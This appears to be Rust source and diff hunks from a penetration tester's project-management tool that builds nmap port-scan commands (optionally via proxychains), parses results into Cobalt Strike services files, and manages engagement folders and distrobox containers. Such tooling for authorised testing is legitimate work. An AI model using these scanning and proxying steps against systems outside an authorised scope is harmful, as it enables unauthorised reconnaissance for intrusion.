let nmap_log_file = open_append(&nmap_log_path);
|
||||||
|
if nmap_log_file.is_some(){
|
||||||
|
let mut nmap_log_file = nmap_log_file.unwrap();
|
||||||
|
write!(nmap_log_file, "{}", nmap_output_string).unwrap();
|
||||||
|
print_success("nmap log file written!");
|
||||||
|
}
|
||||||
|
let mut host_ports = Vec::new();
|
||||||
|
let host_sections: Vec<&str> = nmap_output_string.split("Nmap scan report ").collect();
|
||||||
|
for section in host_sections{
|
||||||
|
let mut host = String::new();
|
||||||
|
let mut ports = Vec::new();
|
||||||
|
let lines: Vec<&str> = section.split("\n").collect();
|
||||||
|
let mut port_section = false;
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("for "){
|
||||||
|
if !line.contains("(not scanned)"){
|
||||||
|
host = line.split(" ").collect::<Vec<&str>>()[1..].join(" ").to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if line.contains("Host is up"){
|
||||||
|
port_section = true;
|
||||||
|
}
|
||||||
|
else if port_section{
|
||||||
|
if line.contains("open"){
|
||||||
|
let words: Vec<&str> = line.split_whitespace().collect();
|
||||||
|
if words.len() >= 3{
|
||||||
|
let port = words [0];
|
||||||
|
let service = words [2];
|
||||||
|
let port_entry = format!("{}:{}", port, service);
|
||||||
|
ports.push(port_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for port in ports{
|
||||||
|
let entry_words: Vec<&str> = port.split(":").collect();
|
||||||
|
let port = entry_words[0];
|
||||||
|
let service = entry_words[1];
|
||||||
|
let host_entry = format!("{}\t{}\t{}", host, port, service);
|
||||||
|
host_ports.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let services_file_open_res = open_overwrite(&save_path);
|
||||||
|
if services_file_open_res.is_none(){
|
||||||
|
println!("FROM NMAP THREAD: error opening the services.tsv file to write!");
|
||||||
|
println!("FROM NMAP THREAD: exiting");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut services_file = services_file_open_res.unwrap();
|
||||||
|
let enumeration_open_res = open_append(&enumeration_notes_path);
|
||||||
|
if enumeration_open_res.is_none(){
|
||||||
|
print_error("error opening enumeration notes file!", "".to_owned());
|
||||||
|
}
|
||||||
|
let services_write_res = write!(services_file, "host\tport\tbanner\tnotes\n");
|
||||||
|
if services_write_res.is_err(){
|
||||||
|
let error = services_write_res.err().unwrap();
|
||||||
|
println!("{}","FROM NMAP THREAD: error writing to the services.tsv file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut enumeration_write = false;
|
||||||
|
if enumeration_open_res.is_some(){
|
||||||
|
enumeration_write = true;
|
||||||
|
}
|
||||||
|
let mut host_all_ports: HashMap<String, Vec<String>> = HashMap::new();
|
||||||
|
for host in &host_ports{
|
||||||
|
write!(services_file, "{}\n", host).unwrap();
|
||||||
|
let host_data: Vec<&str> = host.split("\t").collect();
|
||||||
|
let address = host_data[0].to_owned();
|
||||||
|
let port = host_data[1].to_owned();
|
||||||
|
let service = host_data[2].to_owned();
|
||||||
|
if host_all_ports.contains_key(&address){
|
||||||
|
host_all_ports.get_mut(&address).unwrap().push(format!("{}:{}", port, service));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
host_all_ports.insert(address, vec![format!("{}:{}", port, service)]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if enumeration_write{
|
||||||
|
let mut enumeration_file = enumeration_open_res.unwrap();
|
||||||
|
let write_res = write!(enumeration_file, "\n# Port Scan\n");
|
||||||
|
if write_res.is_ok(){
|
||||||
|
write_res.unwrap();
|
||||||
|
for host in host_all_ports.keys(){
|
||||||
|
write!(enumeration_file, "## {}\n| HOST | PORT | SERVICE |\n| ---- | ---- | ------- |\n", host).unwrap();
|
||||||
|
for port_entry in &host_all_ports[host]{
|
||||||
|
let parts: Vec<&str> = port_entry.split(":").collect();
|
||||||
|
let port = parts[0];
|
||||||
|
let services = parts[1];
|
||||||
|
write!(enumeration_file, "| {} | {} | {} |\n", host, port, services).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "\n---\n").unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_success(format!("FROM NMAP THREAD: Parsing done! You're scan results are saved in cobalt strike services.tsv format at {}", save_path.display()));
|
||||||
|
});
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
return Some(nmap_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn build_nmap_command(project: &Project){
|
||||||
|
fn get_targets() -> Vec<String>{
|
||||||
|
let mut targets = Vec::new();
|
||||||
|
println!("please enter the ranges/ips to scan one per line, and enter END all caps when done.");
|
||||||
|
loop {
|
||||||
|
let response = get_user_input("ip or range to add?");
|
||||||
|
if response == "END".to_owned(){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
targets.push(response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return targets;
|
||||||
|
}
|
||||||
|
let targets_res = info_controls::get_scope_entries(project);
|
||||||
|
let mut targets = Vec::new();
|
||||||
|
let mut ports_to_scan = vec![String::from("80"), String::from("443"),
|
||||||
|
String::from("161"),
|
||||||
|
String::from("22"),
|
||||||
|
String::from("21"),
|
||||||
|
String::from("23"),
|
||||||
|
String::from("8080"),
|
||||||
|
String::from("8443"),
|
||||||
|
String::from("4433"),
|
||||||
|
String::from("135"),
|
||||||
|
String::from("445"),
|
||||||
|
String::from("3389"),
|
||||||
|
String::from("5985"),
|
||||||
|
String::from("1433"),
|
||||||
|
String::from("3306"),
|
||||||
|
String::from("2222"),];
|
||||||
|
let mut save_path = project.files_folder.clone();
|
||||||
|
if targets_res.is_none(){
|
||||||
|
println!("couldn't get target list from your notes!");
|
||||||
|
targets = get_targets();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("got targets from the cope in notes!");
|
||||||
|
for target in targets_res.unwrap(){
|
||||||
|
targets.push(target);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for target in &targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("n"){
|
||||||
|
println!("oooof ok, we'll have you recreate it manually.");
|
||||||
|
targets = get_targets();
|
||||||
|
}
|
||||||
|
println!("These are the ports we're going to scan.");
|
||||||
|
for port in &ports_to_scan{
|
||||||
|
println!("{}", port);
|
||||||
|
}
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("n"){
|
||||||
|
println!("oof ok, rebuild it manually.");
|
||||||
|
println!("please enter the ports you want to scan, one per line, enter END in all caps when you're finished.");
|
||||||
|
ports_to_scan.clear();
|
||||||
|
loop{
|
||||||
|
let port = get_user_input("port to add?");
|
||||||
|
if port.contains("END"){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ports_to_scan.push(port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("we are going to save the output to {}/working/nmap_output.txt", save_path.display());
|
||||||
|
if get_user_input("is this ok").to_lowercase().contains("n"){
|
||||||
|
println!("oof ok.");
|
||||||
|
save_path.clear();
|
||||||
|
save_path.push(get_user_input("full path to where you want to save it then?"));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
save_path.push("working/nmap_output.txt");
|
||||||
|
}
|
||||||
|
let ports_string = ports_to_scan.join(",");
|
||||||
|
let targets_string = targets.join(" ");
|
||||||
|
println!("\nYour portscan command is:");
|
||||||
|
if get_user_input("will you be using proxychains for this scan?").to_lowercase().contains("y"){
|
||||||
|
print_success(format!("\n\nproxychains nmap -sT -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_success(format!("nmap -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,15 +1,28 @@
|
|||||||
use std::env;
|
use std::env;
|
||||||
use std::fs;
|
use std::fs;
|
||||||
|
use std::fs::read_to_string;
|
||||||
use std::io::stdin;
|
use std::io::stdin;
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::process;
|
use std::process;
|
||||||
|
use std::process::Command;
|
||||||
use std::thread;
|
use std::thread;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
use std::str::FromStr;
|
use std::str::FromStr;
|
||||||
use crate::Project;
|
use colored::Colorize;
|
||||||
|
|
||||||
pub fn switch_project(projects: &mut Vec<Project>){
|
use crate::configuration;
|
||||||
|
use crate::get_user_input;
|
||||||
|
use crate::open_overwrite;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::tableize;
|
||||||
|
use crate::Project;
|
||||||
|
use crate::box_controls::make_box;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::print_error;
|
||||||
|
|
||||||
|
pub fn
|
||||||
|
switch_project(projects: &mut Vec<Project>){
|
||||||
for project in projects.clone(){
|
for project in projects.clone(){
|
||||||
if project.active == false{
|
if project.active == false{
|
||||||
println!("{} {}|{}", project.id, project.customer, project.project_name);
|
println!("{} {}|{}", project.id, project.customer, project.project_name);
|
||||||
@@ -23,19 +36,19 @@ pub fn switch_project(projects: &mut Vec<Project>){
|
|||||||
for project in projects{
|
for project in projects{
|
||||||
if project.id == new_id{
|
if project.id == new_id{
|
||||||
project.active = true;
|
project.active = true;
|
||||||
println!("project found switching to {} {}", project.customer, project.project_name);
|
print_success(format!("project found switching to {} {}", project.customer, project.project_name));
|
||||||
env::set_var("CURRENT_PROJECT_BOX", project.boxname.clone());
|
env::set_var("CURRENT_PROJECT_BOX", project.boxname.clone());
|
||||||
}
|
}
|
||||||
else if project.id != new_id{
|
else if project.id != new_id{
|
||||||
project.active = false;
|
project.active = false;
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("error unknown project id")
|
print_error("error selecting new project", String::from("unknown project id selected."));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("error we need user input here dummy!");
|
print_error("error selecting new project", String::from("we need input here dummy!"));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -45,31 +58,76 @@ pub fn save_projects(projects: &Vec<Project>, config_path: &PathBuf){
|
|||||||
let mut active_set = false;
|
let mut active_set = false;
|
||||||
save_file_path.pop();
|
save_file_path.pop();
|
||||||
save_file_path.push("projects.conf");
|
save_file_path.push("projects.conf");
|
||||||
let mut save_file = fs::File::create(save_file_path).expect("error creating save_file");
|
let save_file_res = fs::File::create(save_file_path);
|
||||||
save_file.write_all(b"customer:name:notes:files:active:time:box_name\n").expect("error writing first line to file");
|
if save_file_res.is_err(){
|
||||||
|
let error = save_file_res.err().unwrap().to_string();
|
||||||
|
print_error("error creating save file.", error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut save_file = save_file_res.unwrap();
|
||||||
|
save_file.write_all(b"Current Loaded Projects Config File\n").expect("error writing first line to file");
|
||||||
for project in projects{
|
for project in projects{
|
||||||
let default = format!{"{}:{}:{}:{}:", project.customer, project.project_name, project.notes_folder.display(), project.files_folder.display()};
|
let default = format!{"{}:{}:{}:{}:", project.customer, project.project_name, project.notes_folder.display(), project.files_folder.display()};
|
||||||
let mut _outline = String::new();
|
let mut _outline = String::new();
|
||||||
if project.active{
|
if project.active{
|
||||||
if active_set == false{
|
if active_set == false{
|
||||||
_outline = format!("{}yes:{}\n", default, project.boxname);
|
_outline = format!("{}yes:{}:{}\n", default, project.boxname, project.stage);
|
||||||
active_set = true;
|
active_set = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
_outline = format!("{}no:{}\n", default, project.boxname);
|
_outline = format!("{}no:{}:{}\n", default, project.boxname, project.stage);
|
||||||
}
|
}
|
||||||
save_file.write_all(_outline.as_bytes()).expect("error writing outline");
|
let write_res = save_file.write_all(_outline.as_bytes());
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap().to_string();
|
||||||
|
print_error("error saving projects.conf file!", error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn new_project(projects: &mut Vec<Project>, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, config_path: &PathBuf, new_id: i32){
|
#[allow(unused)]
|
||||||
let mut new_project_dir = project_dir.clone();
|
pub fn new_project(projects: &mut Vec<Project>, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, config_path: &PathBuf, new_id: i32, upcoming_files: &PathBuf, upcoming_notes: &PathBuf, fingerprint: bool){
|
||||||
let mut new_note_dir = notes_dir.clone();
|
let mut new_project_dir = PathBuf::new();
|
||||||
|
let mut new_note_dir = PathBuf::new();
|
||||||
let mut existing_folders = String::new();
|
let mut existing_folders = String::new();
|
||||||
let mut customer_name = String::new();
|
let mut customer_name = String::new();
|
||||||
let mut project_name = String::new();
|
let mut project_name = String::new();
|
||||||
|
let mut project_stage = String::new();
|
||||||
|
loop{
|
||||||
|
let mut stage_response = String::new();
|
||||||
|
println!("what stage is this project in?");
|
||||||
|
print!("
|
||||||
|
1.) current
|
||||||
|
2.) upcoming
|
||||||
|
");
|
||||||
|
let stage_result = stdin().read_line(&mut stage_response);
|
||||||
|
if stage_result.is_err(){
|
||||||
|
println!("we need input here dummy, try again...");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
match &stage_response.trim_end(){
|
||||||
|
&"1" => {project_stage = "current".to_owned(); break;},
|
||||||
|
&"2" => {project_stage = "upcoming".to_owned(); break;},
|
||||||
|
_ => println!("unknown option, try again...")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if project_stage.contains("current"){
|
||||||
|
new_project_dir = project_dir.clone();
|
||||||
|
new_note_dir = notes_dir.clone();
|
||||||
|
}
|
||||||
|
else if project_stage.contains("upcoming"){
|
||||||
|
new_project_dir = upcoming_files.clone();
|
||||||
|
new_note_dir = upcoming_notes.clone();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("unknown stage!!")
|
||||||
|
}
|
||||||
|
println!("{}", new_project_dir.display());
|
||||||
println!("do you have an existing notes and folder structure to copy over?\ny/n");
|
println!("do you have an existing notes and folder structure to copy over?\ny/n");
|
||||||
std::io::stdin().read_line(&mut existing_folders).unwrap();
|
std::io::stdin().read_line(&mut existing_folders).unwrap();
|
||||||
if existing_folders.contains("y") || existing_folders.contains("Y"){
|
if existing_folders.contains("y") || existing_folders.contains("Y"){
|
||||||
@@ -183,54 +241,6 @@ pub fn new_project(projects: &mut Vec<Project>, project_dir: &PathBuf, notes_dir
|
|||||||
}
|
}
|
||||||
thread::sleep(Duration::from_secs(2));
|
thread::sleep(Duration::from_secs(2));
|
||||||
let box_name = format!("atarchbox_{}", customer_name);
|
let box_name = format!("atarchbox_{}", customer_name);
|
||||||
let mut box_name_path = new_project_dir.clone();
|
|
||||||
box_name_path.push("boxname");
|
|
||||||
let mut box_name_file = fs::File::create(box_name_path).expect("Error creating box name file");
|
|
||||||
box_name_file.write_all(&box_name.as_bytes()).expect("error writing boxname to box file");
|
|
||||||
let pentest_volume = format!("{}:/pentest:rw", new_project_dir.display());
|
|
||||||
let toold_volume = format!("{}:/tools:rw", tools_dir.display());
|
|
||||||
println!("distrobox create --root --clone {} --volume {} --volume {} --name {}", boxtemplate, toold_volume, pentest_volume, box_name);
|
|
||||||
let distrobox_result = process::Command::new("distrobox")
|
|
||||||
.arg("create")
|
|
||||||
.arg("--root")
|
|
||||||
.arg("--clone")
|
|
||||||
.arg(boxtemplate)
|
|
||||||
.arg("--volume")
|
|
||||||
.arg(&toold_volume)
|
|
||||||
.arg("--volume")
|
|
||||||
.arg(&pentest_volume)
|
|
||||||
.arg("--name")
|
|
||||||
.arg(&box_name)
|
|
||||||
.status()
|
|
||||||
.expect("error getting distrobox status");
|
|
||||||
if distrobox_result.success(){
|
|
||||||
println!("we made a distrobox oh boy!");
|
|
||||||
let distrobox_start_result = process::Command::new("distrobox")
|
|
||||||
.arg("enter")
|
|
||||||
.arg("--root")
|
|
||||||
.arg(&box_name)
|
|
||||||
.arg("--")
|
|
||||||
.arg("sudo")
|
|
||||||
.arg("-s")
|
|
||||||
.arg("ln")
|
|
||||||
.arg("-sf")
|
|
||||||
.arg("/pentest/boxname")
|
|
||||||
.arg("/etc/boxname")
|
|
||||||
.status()
|
|
||||||
.expect("error getting response from distrobox start");
|
|
||||||
if distrobox_start_result.success(){
|
|
||||||
println!("distrobox was started as well!!!! good job me!");
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
println!("ooof did not start successfully try entering it yoruself");
|
|
||||||
println!("distrobox enter --rrot {} -- sudo -s ln -sf /pentest/boxname /etc/boxname", &box_name);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else{
|
|
||||||
println!("ooof distrobox did not work.... try creating it yourself");
|
|
||||||
println!("distrobox create --root --clone {} --volume {} --volume {} --name {}", boxtemplate, &toold_volume, &pentest_volume, &box_name);
|
|
||||||
println!("distrobox enter --rrot {} -- sudo -s ln -sf /pentest/boxname /etc/boxname", &box_name);
|
|
||||||
}
|
|
||||||
let new_project = Project{customer: customer_name.trim_end().to_owned(),
|
let new_project = Project{customer: customer_name.trim_end().to_owned(),
|
||||||
project_name: project_name.trim_end().to_owned(),
|
project_name: project_name.trim_end().to_owned(),
|
||||||
notes_folder: new_note_dir,
|
notes_folder: new_note_dir,
|
||||||
@@ -238,7 +248,11 @@ pub fn new_project(projects: &mut Vec<Project>, project_dir: &PathBuf, notes_dir
|
|||||||
active: false,
|
active: false,
|
||||||
id: new_id,
|
id: new_id,
|
||||||
boxname: box_name,
|
boxname: box_name,
|
||||||
|
stage: project_stage.to_owned()
|
||||||
};
|
};
|
||||||
|
if project_stage.contains("current"){
|
||||||
|
make_box(&new_project, &tools_dir, &boxtemplate, true, fingerprint);
|
||||||
|
}
|
||||||
projects.push(new_project);
|
projects.push(new_project);
|
||||||
save_projects(projects, config_path);
|
save_projects(projects, config_path);
|
||||||
|
|
||||||
@@ -290,48 +304,463 @@ pub fn remove_project(projects: &mut Vec<Project>, config_path: &PathBuf){
|
|||||||
|
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("we need user in put here dummy!!");
|
println!("no project selected! returning...");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("we need input here dummy!");
|
println!("no project selected! returning...");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_projects(config_path: &PathBuf) -> Vec<Project>{
|
pub fn get_projects(config_path: &PathBuf, show: bool) -> Option<Vec<Project>>{
|
||||||
let mut mut_config_path = config_path.clone();
|
let mut mut_config_path = config_path.clone();
|
||||||
mut_config_path.pop();
|
mut_config_path.pop();
|
||||||
mut_config_path.push("projects.conf");
|
mut_config_path.push("projects.conf");
|
||||||
|
let mut bkup_config_path = mut_config_path.clone();
|
||||||
|
bkup_config_path.pop();
|
||||||
|
bkup_config_path.push("projects.conf.bkup");
|
||||||
|
let bkup_result = fs::copy(&mut_config_path, &bkup_config_path);
|
||||||
|
if bkup_result.is_err(){
|
||||||
|
let error = bkup_result.err().unwrap();
|
||||||
|
println!("{}","error backing up the projects.conf file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
let mut projects = Vec::new();
|
let mut projects = Vec::new();
|
||||||
let projects_string = fs::read_to_string(mut_config_path).expect("error reading projects file");
|
let projects_string_res = fs::read_to_string(mut_config_path);
|
||||||
|
if projects_string_res.is_err(){
|
||||||
|
let error = projects_string_res.err().unwrap();
|
||||||
|
println!("{}", "Error Loading Project!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let projects_string = projects_string_res.unwrap();
|
||||||
let project_lines:Vec<&str> = projects_string.split("\n").collect();
|
let project_lines:Vec<&str> = projects_string.split("\n").collect();
|
||||||
let mut first = 0;
|
let mut first = 0;
|
||||||
let mut already_active = false;
|
let mut already_active = false;
|
||||||
for line in project_lines{
|
for line in project_lines{
|
||||||
|
//println!("{}", line);
|
||||||
first = first + 1;
|
first = first + 1;
|
||||||
if first != 1{
|
if first != 1{
|
||||||
if line.len() > 1{
|
if line.len() > 1{
|
||||||
let settings: Vec<&str> = line.split(":").collect();
|
let settings: Vec<&str> = line.split(":").collect();
|
||||||
let customer = settings[0].to_owned();
|
if settings.len() > 5{
|
||||||
let project = settings[1].to_owned();
|
// debug config file...
|
||||||
let notes_string = settings[2].to_owned();
|
/*let mut count = 0;
|
||||||
let folder_string = settings[3].to_owned();
|
for settin in &settings{
|
||||||
let notes_folder = PathBuf::from_str(¬es_string.trim_end()).expect("error reading notes string");
|
println!("{}: {}", count, settin);
|
||||||
let project_folder = PathBuf::from_str(&folder_string.trim_end()).expect("error reading folding sering");
|
count = count + 1;
|
||||||
let mut active = false;
|
}*/
|
||||||
let boxname = settings[5].to_owned();
|
let customer = settings[0].to_owned();
|
||||||
if settings[4] == "yes"{
|
let project = settings[1].to_owned();
|
||||||
if already_active == false{
|
let notes_string = settings[2].to_owned();
|
||||||
env::set_var("CURRENT_PROJECT_BOX", boxname.clone());
|
let folder_string = settings[3].to_owned();
|
||||||
already_active = true;
|
let notes_folder = PathBuf::from_str(¬es_string.trim_end()).expect("error reading notes string");
|
||||||
active = true;
|
let project_folder = PathBuf::from_str(&folder_string.trim_end()).expect("error reading folding sering");
|
||||||
|
let mut active = false;
|
||||||
|
let boxname = settings[5].to_owned();
|
||||||
|
if settings[4] == "yes"{
|
||||||
|
if already_active == false{
|
||||||
|
env::set_var("CURRENT_PROJECT_BOX", boxname.clone());
|
||||||
|
already_active = true;
|
||||||
|
active = true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
let project_stage = settings[6].to_owned();
|
||||||
|
let new_project = Project{customer: customer, project_name: project, files_folder: project_folder, notes_folder: notes_folder, active: active, id: first, boxname: boxname, stage: project_stage};
|
||||||
|
if show{
|
||||||
|
println!("{} {} {}", &new_project.customer, &new_project.project_name, "LOADED!".green());
|
||||||
|
}
|
||||||
|
projects.push(new_project);
|
||||||
}
|
}
|
||||||
let new_project = Project{customer: customer, project_name: project, files_folder: project_folder, notes_folder: notes_folder, active: active, id: first, boxname: boxname};
|
|
||||||
println!("{} {} LOADED!", &new_project.customer, &new_project.project_name);
|
|
||||||
projects.push(new_project);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return projects
|
return Some(projects)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn print_upcoming_projects(projects: &Vec<Project>){
|
||||||
|
let mut lines = vec![String::from("CUSTOMER||PROJECT")];
|
||||||
|
for project in projects{
|
||||||
|
if project.stage.contains("upcoming"){
|
||||||
|
let new_line = format!("{}||{}", project.customer, project.project_name);
|
||||||
|
lines.push(new_line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn promote_project(projects: &mut Vec<Project>, config_path: &PathBuf, project_dir: &PathBuf, notes_dir: &PathBuf, tools_dir: &PathBuf, boxtemplate: &String, fingerprint: bool){
|
||||||
|
let working_projects = projects.clone();
|
||||||
|
for project in &working_projects{
|
||||||
|
if project.stage.contains("upcoming"){
|
||||||
|
println!("{}.) {}:{}", project.id, project.customer, project.project_name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("which project to promote?");
|
||||||
|
let mut selection = String::new();
|
||||||
|
let result = stdin().read_line(&mut selection);
|
||||||
|
if result.is_err(){
|
||||||
|
println!("we need input here dummy try again....");
|
||||||
|
}
|
||||||
|
result.unwrap();
|
||||||
|
println!("{}", project_dir.display());
|
||||||
|
let promote_id: i32 = selection.trim_end().parse().unwrap();
|
||||||
|
let mut projects_to_save = Vec::new();
|
||||||
|
for project in &working_projects{
|
||||||
|
if project.id == promote_id{
|
||||||
|
let mut promoted_project = project.clone();
|
||||||
|
let mut new_files_dir = project_dir.clone();
|
||||||
|
let mut new_notes_dir = notes_dir.clone();
|
||||||
|
new_files_dir.push(&promoted_project.customer);
|
||||||
|
new_notes_dir.push(&promoted_project.customer);
|
||||||
|
fs::create_dir_all(&new_files_dir).unwrap();
|
||||||
|
fs::create_dir_all(&new_notes_dir).unwrap();
|
||||||
|
let folder_move_success = process::Command::new("mv")
|
||||||
|
.arg("-i")
|
||||||
|
.arg(&project.files_folder)
|
||||||
|
.arg(&new_files_dir.display().to_string())
|
||||||
|
.status().expect("unable to call the system mv command");
|
||||||
|
let note_move_success = process::Command::new("mv")
|
||||||
|
.arg("-i")
|
||||||
|
.arg(&project.notes_folder)
|
||||||
|
.arg(&new_notes_dir.display().to_string())
|
||||||
|
.status().expect("unable to call the system mv command");
|
||||||
|
if folder_move_success.success(){
|
||||||
|
println!("we copied the project folder correctly!!");
|
||||||
|
let mut remove_folder = PathBuf::new();
|
||||||
|
remove_folder.push(&project.files_folder);
|
||||||
|
remove_folder.pop();
|
||||||
|
let remove_files_res = fs::remove_dir_all(remove_folder);
|
||||||
|
if remove_files_res.is_err(){
|
||||||
|
println!("error removing the original files folder form the upcomming folder, manual cleanup required");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_files_res.unwrap();
|
||||||
|
println!("upcoming files folder cleanup successful!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("failed to copy the project folder, try to move it manually!");
|
||||||
|
}
|
||||||
|
if note_move_success.success(){
|
||||||
|
print_success("we copied the notes folder correctly!!");
|
||||||
|
let mut remove_folder = PathBuf::new();
|
||||||
|
remove_folder.push(&project.files_folder);
|
||||||
|
remove_folder.pop();
|
||||||
|
let remove_notes_res = fs::remove_dir_all(remove_folder);
|
||||||
|
if remove_notes_res.is_err(){
|
||||||
|
println!("error removing the original notes folder form the upcomming folder, manual cleanup required");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_notes_res.unwrap();
|
||||||
|
println!("upcoming notes folder cleanup successful!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("failed to copy the notes folder, try to move it manually!");
|
||||||
|
}
|
||||||
|
new_files_dir.push(&promoted_project.project_name);
|
||||||
|
new_notes_dir.push(&promoted_project.project_name);
|
||||||
|
promoted_project.files_folder = new_files_dir;
|
||||||
|
promoted_project.notes_folder = new_notes_dir;
|
||||||
|
promoted_project.stage = "current".to_owned();
|
||||||
|
let cs_response = get_user_input("will you need to be using cobalt strike for this project?");
|
||||||
|
if cs_response.to_lowercase().contains("y"){
|
||||||
|
let cs_path = get_user_input("path to your current cobalt strike directory?");
|
||||||
|
let copy_result = Command::new("cp").arg("-R").arg(&cs_path).arg(&promoted_project.files_folder).status();
|
||||||
|
if copy_result.is_err(){
|
||||||
|
println!("oof we had an error copying... you'll have to copy this manually");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let copy_exit = copy_result.unwrap();
|
||||||
|
if copy_exit.success() == false{
|
||||||
|
println!("oof we had an error copying... you'll have to copy this manually");
|
||||||
|
println!("run cp -R {} {}", &cs_path, &promoted_project.files_folder.display());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
thread::sleep(Duration::from_secs(3));
|
||||||
|
make_box(&promoted_project, tools_dir, boxtemplate, true, fingerprint);
|
||||||
|
projects_to_save.push(promoted_project);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
projects_to_save.push(project.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
projects.clear();
|
||||||
|
projects.append(&mut projects_to_save);
|
||||||
|
save_projects(&projects_to_save, config_path);
|
||||||
|
print_success("project promoted successfully!");
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn list_projects(projects: &Vec<Project>){
|
||||||
|
let mut lines = vec!["customer||project||stage".to_owned()];
|
||||||
|
for project in projects{
|
||||||
|
let new_line = format!("{}||{}||{}", project.customer, project.project_name, project.stage);
|
||||||
|
lines.push(new_line);
|
||||||
|
}
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub fn separate_personal_work_projects(config_path: &PathBuf){
|
||||||
|
let config = config_path.clone();
|
||||||
|
let mut config_personal = config_path.clone();
|
||||||
|
config_personal.pop();
|
||||||
|
config_personal.push("conf.personal");
|
||||||
|
let mut config_work = config_path.clone();
|
||||||
|
config_work.pop();
|
||||||
|
config_work.push("conf.working");
|
||||||
|
let mut projects_conf_path = config_path.clone();
|
||||||
|
projects_conf_path.pop();
|
||||||
|
projects_conf_path.push("projects.conf");
|
||||||
|
let mut working_conf_path = config_path.clone();
|
||||||
|
working_conf_path.pop();
|
||||||
|
working_conf_path.push("projects.work");
|
||||||
|
let mut personal_conf_path = config_path.clone();
|
||||||
|
personal_conf_path.pop();
|
||||||
|
personal_conf_path.push("projects.personal");
|
||||||
|
let project_read_res = read_to_string(&projects_conf_path);
|
||||||
|
if project_read_res.is_err(){
|
||||||
|
print_error("error reading current projects config file!", project_read_res.err().unwrap().to_string());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let project_string = project_read_res.unwrap();
|
||||||
|
let project_lines: Vec<&str> = project_string.split("\n").collect();
|
||||||
|
let mut personal_projects = Vec::new();
|
||||||
|
let mut work_projects = Vec::new();
|
||||||
|
let mut default = String::new();
|
||||||
|
print_success("current projects loaded!");
|
||||||
|
print_informational("we'll now go through project by project, answer yes or no to the following questions...");
|
||||||
